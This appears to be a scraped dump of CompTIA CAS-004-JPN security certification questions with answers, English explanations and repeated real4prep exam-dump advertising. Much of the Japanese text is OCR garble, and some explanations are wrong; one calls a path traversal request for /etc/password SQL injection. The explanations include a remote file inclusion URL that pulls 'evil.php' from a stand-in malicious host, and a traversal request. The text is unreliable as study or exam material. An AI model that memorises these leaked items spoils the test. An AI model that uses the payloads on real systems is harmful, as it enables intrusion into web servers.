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QUESTION NO: 1

A—HY—NFFEZEFXA-INELEI—DLEOHIZEFIUT 1

THFIOAMCEELELE, THFUVARMEBEFX—I)ZRELEZEZS, URL
CERFTT7TAINICEERDOHDTITAETA1ORIRFERSNhEEATLE, PFUAN
BREFXA—INOELEUZEEBITZDLEHIC, ROBRNEFEOSEENZFERATILEND
VEITH?

A.E1—3X2hK

B. VI

C. OSINT

D.L—A

Answer: C

Explanation:

Open-source intelligence (OSINT) refers to the collection and analysis of information that is
gathered from public, or open, sources. In the context of confirming the legitimacy of an
email, OSINT couldinvolve checking online databases, public records, or using search
engines to find information related to the email's domain, the sender, links included in the
email, or file hashes of attachments. This method can help determine if the email is part of a
known phishing campaign or if it has been flagged by others as suspicious.

QUESTION NO: 2

KEICHRZE<BEOAZRF OLEN. EORREICELO Web
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INETITH 2 2BRLTLKEZL),
AABIPTRLADPSOIVITHANAOTOERZ7OY VTS

B. REICSHOVPNZFEALTESS

C.IVI7HANIWAPERETS

D.BAREBILRYNI—V LD YO TRY VANOT IV AERZERS
E.RREZERAFICUN-ATOF 2HATS
FNATZERALTHRREODT IV EAZEMICTS

Answer: B D

Explanation:

Having developers use the company's VPN can provide them with secure access to the
network while still allowing the company to block normal internet traffic from the other
country. A jump box serves as a secure entry point for administrators or in this case,
developers, to connect before launching any administrative tasks or accessing further areas
of the network. This setup maintains security while still providing necessary access.

QUESTION NO: 3

X174 I2ODZT, 20O Web
BARNTA—H—ICROFlZFATLTVREICRMAERL L=,
hitps://mycompany.com/main.php?Country=US
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A.SQLA>>xTo>ar

B.UE—KN77A4INDA2U)—R

CTALONIUBNZN=H) -

D. Z& Tl VWS

Answer: B

Explanation:

Remote file inclusion (RFI) is a web vulnerability that allows an attacker to include malicious
external files that are later run by the website or web application12. This can lead to code
execution, data theft, defacement, or other malicious actions. RFI typically occurs when a
web application dynamically references external scripts using user-supplied input without
proper validation or sanitization23.

In this case, the website allows users to specify a country parameter in the URL that is used
to include a file from another domain. For example, an attacker could craft a URL like this:
https://mycompany.com/main.php?Country=https://malicious.com/evil.php

This would cause the website to include and execute the evil.php file from the malicious
domain, which could contain any arbitrary code3.

QUESTION NO: 4
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D. BEODrBEHRELET,

Answer: D

QUESTION NO: 5
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C. Android
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Answer: A

QUESTION NO: 6

X174
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NERYRNI—VZRETILENHYET,

AVHLRY N ERZITSRICHEIDMENHD AT LR, RDSIBEENTIH?
A. TEXTY

B.ASIC

C. FPGA

D. SCADA

Answer: D
Reference: https://www.sciencedirect.com/topics/computer-science/protective-relay

QUESTION NO: 7
HRNBERIZFOHITOKZEGE. Web
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A. S A Web Y —N—ZRRELET,

B.XYND—OTF7 U tA#IHZBRILLET,

CIOAVTUVERERY NID—DVZRELEXT,

D. REBMRBICBITLE T,

Answer: C

Explanation:

A content delivery network (CDN) is a geographically distributed network of servers that can
cache content close to end users, allowing for faster and more efficient delivery of web
content, such as images, videos, and streaming media. A CDN can also handle an increase
in customer demand of resources, provide high-quality streaming media, and create a user-
friendly interface by reducing latency and bandwidth consumption. A CDN can also improve
the security and availability of the website by mitigating DDoS attacks and providing
redundancy. Verified References:

https://www.cloudflare.com/learning/cdn/what-is-a-cdn/
https://learn.microsoft.com/en-us/azure/cdn/cdn-overview
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https://en.wikipedia.org/wiki/Content_delivery_network

QUESTION NO: 8
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Answer: D

QUESTION NO: 9
REEHEF 1) T 1 BIESE (CISO)

FEFLVHEHALTEY, FMAFCINTORREN B LENREZHRRICEBTE
DRIICTRLONENIEN LETT, CISO
BFRDSBEENICEBRRECERTEILEN HBURIN?

A. SLA

B. ISA

C.HERETIEAR

D. BB5#AI

Answer: D

Explanation:

Rules of engagement are legal documents that should be signed by all parties involved in an
assessment to ensure they understand their roles and responsibilities. Rules of engagement
define the scope, objectives, methods, deliverables, limitations, and expectations of an
assessment project. They also specify the legal and ethical boundaries, communication
channels, escalation procedures, and reporting formats for the assessment.

Rules of engagement help to avoid misunderstandings, conflicts, or liabilities during or after
an assessment.

References: [CompTIA CASP+ Study Guide, Second Edition, page 34]

QUESTION NO: 10

EFIYFA
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B. ¥EZZ AT RALI V" TVAVAN—ILTD
CEEEZI3R—NLEONS 74y 0RBRNIZTOY VTS

D.>UXxFv&MEAL /= IPS & WAF OFRE

Answer: D

Explanation:

Given the vulnerability in the deprecated runtime engine, configuring an IPS (Intrusion
Prevention System) and WAF (Web Application Firewall) with appropriate signatures is the
best temporary control. This allows the organization to monitor and block potential attacks
targeting known vulnerabilities in the runtime engine while the developers work on the
transition. Shutting down the systems or uninstalling the runtime engine would cause service
interruptions, and blocking traffic might disrupt legitimate users. IPS and WAF provide an
active layer of defense without interrupting service. CASP+ emphasizes the use of layered
security, including IPS and WAF, to mitigate risks in public-facing applications.
References:

CASP+ CAS-004 Exam Objectives: Domain 3.0 - Enterprise Security Architecture (Web
Application Firewalls, Intrusion Prevention Systems) CompTIA CASP+ Study Guide:
Mitigating Application Vulnerabilities with WAFs and IPS

QUESTION NO: 11

JAN—EFIVTATFIANE, BENBAVOFUOMMRBELTVDREZRTTFT

YREZHFEYELE, "TBRAVEDYE, 74A—LAZECIVITHANTREOOTI 774

IFERENTVWET, PHFIVARNE, JITHANORNZ T4 VM KRIEOI—T T

AITXRNYIIR=VIZEKDEDBEDD, ThEEBENBA T URNEOD ZHIT D 24
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A. "TERAVEDEL 7A—ATEYUBAIBRIANINMBREIATVED L Z2HERTS
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D. OVHIBB KV B HY—ILTIOITHANOOTT77AINLEERTITS

Answer: D

QUESTION NO: 12
SOC7FVANGRENAREMICETIZTZ— M Z2ZITELY) ., XD SIEM
OJ zZ#FELTVET,

1:15:02FPM JDoe successful login on laptop3l4

F=Of
1:15:45FM JDoe launched ocutlock.exe on laptop3ils
1:17:03PM Process outlock.exa launched cmd.exe on laptep3ld
1:17:04FPM Process cmd.exe launched rdp.exe on laptop3ld
1:17:04FM Process cmd.éexe launched rdp.exe on laptop3ls
1:17:05P JDoe successful login on serverllz
1:17:05PM JDoe successful login on serverll3
1:17:07FM JDoe 1;;ﬂhne: cmd.exe on serverll’

SOCTF7FVANNHRIDIFEBEINBETIIDRFROSEENTITA?
A ESE3EFOOBEBZH<EHICT AT N JDoe ZEMICLET
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CTHIRREOTREMICDOWVWT JDoe ICEBELET

D.OJ A ZMIET B2 D HIPS JL—)LE NIPS JL—)L DERK

Answer: B

Explanation:

The SIEM logs indicate suspicious behavior that could be a sign of a compromise, such as
the launching of cmd.exe after Outlook.exe, which is atypical user behavior and could
indicate that a machine has been compromised to perform lateral movement within the
network. Isolating laptop314 from the network would contain the threat and prevent any
potential spread to other systems while further investigation takes place.

QUESTION NO: 13

HEBYTFO2NBEEN - ROFMNAZHFCERZRERLI<KHAALTVZORADELNT
ITH?2@Q22BBRLTLKEZY),

A REBRIEZREHELET,

B.EEMZERIALET,

C.HEMAMLLET,

D.DRM £EELE T,

E.ZEEDETZWELET,

FEO—RIERLIDITHFEENTVERV L ZRAELET,

Answer: AB

Explanation:

Option A (Origin assurance):Digital signatures ensure that the code originates from a trusted
source.

Option B (Integrity verification):Digital signatures verify that the code has not been tampered
with since it was signed.

Option C (Confidentiality):Digital signatures do not provide encryption or confidentiality.
Option D (DRMs):Digital signatures are not specifically related to Digital Rights Management.
Option E (Recipient verification):Digital signatures validate the sender, not the recipient.
Option F (Free of malware):While digital signatures verify integrity, they cannot guarantee
that the code is free of malware.

References:

CompTIA CASP+ Exam Obijective 2.1: Implement cryptographic solutions to protect
application integrity.

CASP+ Study Guide, 5th Edition, Chapter 9, Digital Signatures and Code Signing.

QUESTION NO: 14
HBOBEOA 2 T7ZARNZIOFYICE, F—2E22—BEOY 4 NE VPN
FEENTVET, BEF, IR EKREESN VPN

Ot RL—A2OEOF/HBHEEALELE, LEN ST, BEBREF1IUT &
£ (CISO) k. VPN Y 1—2 3> Iz/LTROEOT A
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A REXA—O VPN It NL—202FEBEORREZEMT S
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B. EFNY 4 N VPN ##E#H T Base64 T 1—F 1 T &ERTS

C.VPN YA/ RNETOEFIIVT A VIY—ADTHK
D.&#VPNItEVRNL—ZTIDSH—ERZRETS

E. YA MR—AH—EADQAYTF R—AT—FTIF T NOBIT

Answer: A

Explanation:

If on VPN concentrator goes down due to a zero day threat, having a redundant VPN
concentrator of a different vendor should keep you going.

QUESTION NO: 15

B, SHFMBOEEN XY ND—OAICHB5E. £2E VPN
BHATERENATVWAVEEZIEETEERA, IRMARMOLTVS L, ABREEFI
TALERNDBEZERTERLKBZYET, VAV ZBREIZ-HIC, BBEAXDIZ TR
RARNBYV1—-232053BENERETILENHYETH?

A. VAN AXER

B. VIN

C. EDR

D. HIDS

Answer: C

Explanation:

Endpoint Detection and Response (EDR) solutions provide continuous monitoring and
response to advanced threats. They can help mitigate the risk of not having visibility into off-
network activities by detecting, investigating, and responding to suspicious activities on
endpoints, regardless of their location.

QUESTION NO: 16

OAHILEY NEEEOIVZIORRBRRBICT IV ELAITILEN BN KT, BRERXOIVT—
AV NERZBFILEVEEZTVERT,
*CIXNTOBEET—ZRECEEOERTICEANBETIERY TR A,
*RERORBEANOY—RN—FTAOT VAR, BEENFNHIZILEF HVEXT,
*RAERBERET VEAFHEETOERTICHZILEN B ET,
DZ2ORREBEILTIVEAIZEELEBFOEH ZINTRLEILEHICOAVHILEZY NI
NEZERFRDSIBEENTIA?

A. FiHHY) EAFERLIEHR THEE O SSO

ZEAL. BEA7OES3IZ I L EREBRY NT—2
ANL—2%ZFEALTTF—2Z2HBLET,

B. BEHRARMUTAZ VDIV 1—32ZFEALT, BERORETHERZRITLET,
C.J—R
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Answer: B

Explanation:

CompTIA CAS-004-JPN, real CAS-004-JPN dumps, CAS-004-JPN real exam
https://www.real4prep.com/CAS-004-JPN-exam.html



https://www.real4prep.com/CAS-004-JPN-exam.html

Real CAS-004-JPN Exam Dumps, CAS-004-JPN Exam prep, Valid CAS-004-JPN Braindumps

The consultant should use the customer-provided VDI solution to perform work on the
customer's environment. VDI stands for virtual desktop infrastructure, which is a technology
that allows users to access a virtual desktop hosted on a remote server. VDI can help meet
the customer's requirements by ensuring that all customer data remains under the customer's
control at all times, that third-party access to the customer environment is controlled by the
customer, and that authentication credentials and access control are under the customer's
control. Verified References:
https://www.kaspersky.com/resource-center/threats/how-to-avoid-social-engineering-attacks
https://www.eccouncil.org/cybersecurity-exchange/ethical-hacking/understanding-preventing-
social- engineering-attacks/
https://www.indusface.com/blog/10-ways-businesses-can-prevent-social-engineering-attacks/

QUESTION NO: 17

EeEHREzFI VT 1 EHEE (CISO) &k, ENSAIL FNAAFQHLOT—X
EOR—OBBRTIVTICBATAEPICEBEZEEIT R ATLAZRETSELS5EF21UT
1 EBEICKBELEL L, CISO

FERZ, TVTFIEABSELTVAREAL, P7RANBRENERENATVEZI L ZES
TEALSICLEVEZERATVE T, ChSDEHZR/LETEORROSEENTIN?

A. TR EEERARIELE

B2a—RMXvE—IH—ER

C.oHA7xT0Y

D. Bluetooth

Answer: C

Explanation:

Geofencing is a location-based service that allows an organization to define and enforce a
virtual boundary around a sensitive area, such as a data center. Geofencing can use various
technologies, such as GPS, Wi-Fi, cellular data, or RFID, to detect when a mobile device
enters or exits the geofence. Geofencing can also trigger certain actions or notifications
based on the device's location. For example, the organization can set up a geofencing policy
that sends an alert to the CISO and the device user when a mobile device enters the data
center area. Geofencing can also be used to restrict access to certain apps or features based
on the device's location. Verified References:
https://developer.android.com/training/location/geofencing
https://www.manageengine.com/mobile-device-management/mdm-geofencing.html
https://www.koombea.com/blog/mobile-geofencing/

QUESTION NO: 18
H—RN—FTARVE—DSOBEDZFERNZ 74V INFGIARVENSODEOTREREVS
EZERATDDEFRODENTIH?

A XA X7—>3>

B.H7ZA4FI— DAk

CoOFAA—RENETF7ATIOA=ILIL—I)

D. V—AOd—RLE1-—

Answer: C

Explanation:
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Comprehensive and Detailed in-Depth Explanation:

Why the Correct Answer is C (Geocoded firewall rules):

Geocoded firewall rulesare security configurations thatfilter traffic based on geographic
location(commonly by IP address).

These rules can be configured to:

Allow or denyinbound and outbound traffichased on the country of origin.
Restrictthird-party vendor connectionsfromhigh-risk or banned countries.

For example:

Blocking allincoming connections from countries with high cyber threat levels.

Allowing only vendors frompre-approved regions.

Geocoded rules are especially useful inregulatory compliance scenarioswheredata
sovereigntyis a concern.

Why the Other Options Are Incorrect:

A). Microsegmentation:

Microsegmentation involvesisolating network segmentsto enhance internal security.
Itdoes not addressthe geographic origin of traffic.

Primarily used forreducing lateral movementwithin a network rather than filtering external
sources.

B). Supply chain visibility:

This involvesmonitoring and understandingthe components and processes involved in
thesupply chain.

It does notactively block or restrict trafficfrom specific geographic locations.

D). Source code reviews:

These are conducted toidentify vulnerabilities in application code.

They do notrestrict inbound trafficbased on geographic criteria.

Real-World Scenario:

A financial services company needs toblock access from countries under sanctionsor known
forcybercrime activities.

Thefirewall is configuredto drop all inbound traffic from IP ranges associated withhigh-risk
countries, maintaining compliance with regulations likeOFAC.

Example of Geocoded Firewall Configuration:

Example Rule in an IPTables Configuration:

bash

CopyEdit

iptables -A INPUT -m geoip --src-cc CN,RU,IR -j DROP

This ruleblocks trafficiromChina (CN),Russia (RU), andlran (IR).

Benefits of Geocoded Firewall Rules:

Risk Reduction:Minimizes exposure tothreat actors from known high-risk regions.
Compliance:Helps organizations comply withregulatory requirementsthat restrict data from
certain countries.

Operational Efficiency:Automatically blocks traffic without requiring manual intervention.
Extract from CompTIA SecurityX CAS-005 Study Guide:

TheCompTIA SecurityX CAS-005 Official Study Guideemphasizes the importance
ofgeolocation-based access controlin environments wherethird-party access is common.
Geocoded firewall rules enable organizations toeffectively control and reduce the attack
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surfaceby blocking traffic fromhigh-risk regions.

QUESTION NO: 19
EaERtF1VTAEEELE. Web 77U Tr—2 3V ICEREATVWAO—R
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A B%
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C.77XTAK

D. 7OF> ZERTS

Answer: A

Explanation:

Static Application Security Testing (SAST) is the best method for validating code as it is
written. SAST analyzes the source code or binaries of an application for vulnerabilities before
the code is executed, allowing developers to identify and fix security flaws early in the
development process. This method integrates into the development environment and
provides real-time feedback, which is critical for ensuring secure coding practices from the
start. CASP+ highlights the importance of SAST in secure software development lifecycles
(SDLCs) as a proactive measure to prevent security issues before the code is deployed.
References:

CASP+ CAS-004 Exam Objectives: Domain 2.0 - Enterprise Security Operations (SAST for
Secure Code Validation) CompTIA CASP+ Study Guide: Secure Software Development and
Static Code Analysis

QUESTION NO: 20
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Answer: B

Explanation:

Step by Step Explanation:

Data labeling enables metadata tagging for data classification, which allows systems to filter,
act, and enforce policies based on the labels.

Data mapping is used for understanding data flows but does not support automation.

Log scraping and resource tagging are unrelated to enabling system actions based on data
classification.

Reference: CASP+ Exam Obijectives 5.1 - Implement controls based on data classifications.
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QUESTION NO: 21
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Answer: D

Explanation:

Even though the company uses a cloud service provider (CSP) that is PCI compliant, the
customer must still ensure that in-scope systems related to their new payment system
offering are also PCI compliant. PCI DSS (Payment Card Industry Data Security Standard)
applies to any system that processes, stores, or transmits credit card data, and this includes
customer-owned systems, services, or applications integrated into the solution. The
responsibility is shared between the CSP and the customer, and compliance is not
automatically inherited just because the CSP is compliant. CASP+ emphasizes that
organizations must ensure all components within their control are also PCI compliant.
References:

CASP+ CAS-004 Exam Objectives: Domain 1.0 - Risk Management (Compliance and PCI
DSS) CompTIA CASP+ Study Guide: Cloud Services and PCI Compliance

QUESTION NO: 22
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Answer: B

Explanation:

Data exposure is a security concern that will most likely need to be addressed during
migration of all company data to the cloud, as it could involve sensitive or confidential data
being accessed or disclosed by unauthorized parties. Data exposure could occur due to
misconfigured cloud services, insecure data transfers, insider threats, or malicious attacks.
Data exposure could also result in compliance violations, reputational damage, or legal
liabilities. Latency is not a security concern, but a performance concern that could affect the
speed or quality of data access or transmission. Data loss is not a security concern, but a
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availability concern that could affect the integrity or recovery of data. Data dispersion is not a
security concern, but a management concern that could affect the visibility or control of data.
VerifiedReferences: https://www.comptia.org/blog

/what-is-data-exposure https://partners.comptia.org/docs/default-source/resources/casp-
content-guide

QUESTION NO: 23
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Answer: A

Explanation:

Identifying the security boundary is an essential first step in a risk assessment process as it
defines the scope of the assessment. It delineates the environment where the risk
assessment will take place and sets the limits for what assets, systems, and processes will
be included in the assessment.

QUESTION NO: 24
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Answer: D

Explanation:

Purchasing one wildcard certificate is the best solution to protect multiple websites hosted by
an organization in a cloud-hosted WAF. A wildcard certificate is a type of SSL/TLS certificate
thatcan secure a domain name and any number of its subdomains with a single certificate.
For example, a wildcard certificate for *.

mycompany.com can secure www.mycompany.com, campus.mycompany.com, and any
other subdomain under mycompany.com. A wildcard certificate can save costs and simplify
management compared to purchasing individual certificates for each website.
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References: [CompTIA CASP+ Study Guide, Second Edition, page 301]

QUESTION NO: 25
EXIVTA TFIANE, ROBDZRELTVET,

Request URL: http://www.largeworldwidebank.org/../../../etc/password

Request Method: GET

Status Code: 200 OK

Remote Address: 107.240.1.127:443

Content-Length: 1245

Content-Type: text/html

Date: Tue, 03 Nov 2020 19:47:14 GMT

Server: Microsoft-IIS/10.0

¥-Powered-By: ASP.NET

Accept: text/html,application/xhtml+xml, application/xml;g=0.9, image/webp,image/apng, */*;q=0.8
Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;g=0.9

Cache-Control: max-age=0

Connection: keep-aliwve

Host: www.largeworldwidebank.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36

CHORATDHEZRERMNTDOE, XOSBEENTITH?

ARYRND—=D TFPATIA—=ILDA2AN—)
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Answer: B

Explanation:

The output shows a SQL injection attack that is trying to exploit a web application. A WAF
(Web Application Firewall) is a security solution that can detect and block malicious web
requests, such as SQL injection, XSS, CSRF, etc. Placing a WAF inline would prevent the
attack from reaching the web server and database.

References: https://owasp.org/www-community/attacks/SQL_Injection
https://www.cloudflare.com/learning

/ddos/glossary/web-application-firewall-waf/

QUESTION NO: 26
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Answer: B

Explanation:

File hashing is used to create a digital fingerprint of files to detect unauthorized changes. By
comparing the hash values before and after analysis, the integrity of the files can be
validated. This aligns with CASP+ objective 5.2, which includes forensic evidence integrity
and validation methods.

QUESTION NO: 27
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A. RASP

B.SAST

C.WAF

D. CMS

Answer: B

Explanation:

Static application security testing (SAST) is a method of analyzing the source code of an
application for vulnerabilities and weaknesses before it is deployed. SAST can help identify
security issues earlier in the development process, reducing the time and cost of remediation.
Dynamic application security testing (DAST) is a method of testing the functionality and
behavior of an application at runtime for vulnerabilities and weaknesses. DAST can cover
public-facing application components, but it cannot detect issues in the source code or in
serverless applications. Runtime application self-protection (RASP) is a technology that
monitors and protects an application from attacks in real time by embedding security features
into the application code or runtime environment. RASP can help prevent exploitation of
vulnerabilities, but it cannot identify or fix them. A web application firewall (WAF) is a device
or software that filters and blocks malicious web traffic from reaching an application. A WAF
can help protect an application from common attacks, but it cannot detect or fix vulnerabilities
in the application code or in serverless applications. References: [CompTIA Advanced
Security Practitioner (CASP+) Certification Exam Objectives], Domain 3: Enterprise Security
Operations, Objective 3.4: Conduct security assessments using appropriate tools

QUESTION NO: 28
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Answer: B

Explanation:

In cloud computing models, the security of the physical data center is the responsibility of the
Cloud Service Provider (CSP). The CSP is responsible for protecting the infrastructure that
runs all of the services offered in the cloud, which includes the physical security of the data
center.

QUESTION NO: 29
RORAEDSE, CASB &Y —R/N—F 4
IVTATANOESILF—DOEREEZEITEDNRFENTITA?

CompTIA CAS-004-JPN, real CAS-004-JPN dumps, CAS-004-JPN real exam
https://www.real4prep.com/CAS-004-JPN-exam.html



https://www.real4prep.com/CAS-004-JPN-exam.html

Real CAS-004-JPN Exam Dumps, CAS-004-JPN Exam prep, Valid CAS-004-JPN Braindumps

A BH1E

B. ¥—H#H

C.¥—UAhNV

D. ¥—I A~V 0O—

Answer: D

Explanation:

Key escrow is a process that involves storing encryption keys with a trusted third party, such
as a CASB (Cloud Access Security Broker) or a government agency. Key escrow can enable
authorized access to encrypted data in case of emergencies, legal issues, or data recovery.
However, key escrow also introduces some risks and challenges, such as trust, security, and
privacy.References: https://www.techopedia.com

/definition/1772/key-escrow https://searchsecurity.techtarget.com/definition/key-escrow

QUESTION NO: 30

BEE. YT RAUZ47 L1 Web

H—EANZLBBFEZEICERLTVETS. at@FRE. AECA
ANDIMBORAZTERICBAELTVET,

ROT7O—FND55, BEOEHEZREISFELTORENTL &£5H?

A EFX—I)IOBESIOLOHIZO—HNIL CAND CSR ZEKLET,

B. 74 RA—RFAAEN CSRENT U YU CAIZEELET,
CNTUYYUCANPSYTNIITEBEIAAEZERLET,

D. —/N—FERLALAAZE O CSR ZRE L XT,

Answer: D

Explanation:

Step by Step Explanation:

Server authentication certificates are used to secure web communication (e.g., HTTPS).
Submitting a CSR (Certificate Signing Request) for a server authentication certificate ensures
the web services can securely establish encrypted communication.

Other options, such as email encryption or software signing, do not apply in this scenario.
Reference: CASP+ Exam Objectives 2.3 - Apply cryptographic techniques to secure
communications.
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TLS ECDHE RSA WITH AES 256 CBC SHA384 TLS ECDHE RSA WITH AES 128 CBC SHA256
Signature hash algorithm:

sha2b6

Public key:

R5A (2048 Bits)

.htaccess config:

<VirtualHost> *:80>

ServerName www.test.com

Redirect / https://www.test.com
</VirtualHost>

<VirtualHost default :443>

ServerName www.tbtest.com

DocumnetRoot fusr/local/apache2/htdocs
S5LEngine On

<fVirtualHost>

BEBENERTERVRRELTREARMEI GVLORRDOSEENTTA?
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D. H—/\—& & test.com ICTHDHBEANHVE T,

Answer: A

Reference: https://security.stackexchange.com/questions/23383/ssh-key-type-rsa-dsa-ecdsa-
are-there-easy- answers-for-which-to-choose-when

QUESTION NO: 32
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Answer: B

Explanation:

A wildcard certificate is a certificate that can be used for multiple subdomains of a domain,
such as *.example.

com. This would allow the inspection of the data without multiple certificate deployments, as
one wildcard certificate can cover all the subdomains that will be separated out with
subdomains. Including all available cipher suites may not help with inspecting the data
without multiple certificate deployments, as cipher suites are used for negotiating encryption
and authentication algorithms, not for verifying certificates. Using a third- party CA (certificate
authority) may not help with inspecting the data without multiple certificate deployments, as a
third-party CA is an entity that issues and validates certificates, not a type of certificate.
Implementing certificate pinning may not help with inspecting the data without multiple
certificate deployments, as certificate pinning is a technique that hardcodes the expected
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certificate or public key in the application code, not a type of certificate. Verified
References:https://www.comptia.org/blog/what-is-a- wildcard-certificate
https://partners.comptia.org/docs/default-source/resources/casp-content-guide
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Answer: B

Explanation:

High availability ensures continuous operation despite hardware failures by leveraging
redundant components like clustered firewalls or failover systems. This aligns with CASP+
objective 3.1, which focuses on implementing availability and redundancy mechanisms in
disaster recovery planning.

QUESTION NO: 34

—MNBEERAZ7ORNIILICE. XOBENSBYET,

*WELEFIVT A ERHEEAELA

*ODTAT U NF—N—BRTREENDEHNZV
*RTURZERTCPIPOVThAE L TEEENET

ROENNBRAEETNTVWERTAH?

A 7O714%Y K~

B. ER/NA

C.ovE—

D. Z-Wave

Answer: B

Explanation:

The protocol described is Modbus, which is a commonly used industrial protocol that lacks
built-in authentication and security features. Modbus operates in a client/server model and
can be implemented over RTU (Remote Terminal Unit) or TCP/IP for communication
between devices. The other protocols mentioned either have different characteristics or are
used in different contexts (such as Profinet for industrial automation, Zigbee for wireless loT
devices, and Z-Wave for home automation). CASP+ identifies Modbus as a critical protocol in
industrial environments that lacks security and requires additional protective measures.
References:

CASP+ CAS-004 Exam Objectives: Domain 4.0 - Industrial Control Systems (ICS) and
Modbus Protocol CompTIA CASP+ Study Guide: Industrial Protocols and Modbus Security
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Answer: C
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